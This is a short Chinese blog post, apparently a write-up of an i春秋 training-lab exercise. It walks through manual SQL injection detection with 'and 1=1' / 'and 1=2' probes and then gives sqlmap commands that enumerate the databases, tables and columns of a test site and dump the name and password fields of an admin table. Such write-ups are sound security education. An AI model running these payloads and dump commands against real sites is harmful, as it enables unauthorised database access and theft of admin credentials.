无处不在的SQL注入

实训中学习了一下sql注入。于是在i春秋发现了简单的sql注入于是就做的玩了玩。
【无处不在的SQL注入】

下面是一些总结:

第一步 手工检测判断注入点

在网站中查找一个url中带有id 的网址http://www.test.ichunqiu/Art_Show.php?id=2
首先在id=2后面加一个单引号来判断这是否是一个注入点,返回了一个错误提示更新点击数出现错误!。现在替换一个注入查询语句换成 and 1=1,页面并没有出现变化再换成 and 1=2返回一个错误提示。

提示:
这里出现了一个错误提示,更新点击数出现错误,这样说明我们输入的and 1=1 和and 1=2在数据库内执行了,因为and 1=1这条查询语句就永为真,它就会继续执行,and 1=2 这条语句就为假,查询语句无法继续执行,就会返回错误,这样我们就可以初步判断这个url地址是一个注入点。

第二步 利用sqlmap对注入点进行注入

首先找到文件sqlmap.py所在文件夹,然后在cmd运行python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2"


返回信息:

返回信息提示这是一个注入点并且返回对方系统的信息,系统是windows,Web容器是apache2.4.9版本,语言php5.2.17版本,目标数据库是mysql5.0.11版本。

第三步 获取数据库内信息
  1. 获取有多少个database
    Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --dbs

    返回信息:

    获取数据库内所有数据库的名称,返回信息目标数据库内有四个数据库mys ,mysql, test, information_schema
  2. 查看网站所依赖的数据库的名称
    Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --current–db

    返回信息:

    当前使用的数据库是mys
  3. 获取指定数据库内表的信息
    Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys --tables

    返回信息:
  4. 获取指定数据库内表的字段信息
    Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin --columns

    返回信息:
  5. 获取获取指定数据库内表的特定字段内容信息
    Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin –C name,password --dump

    返回信息:

你可能感兴趣的:(无处不在的SQL注入)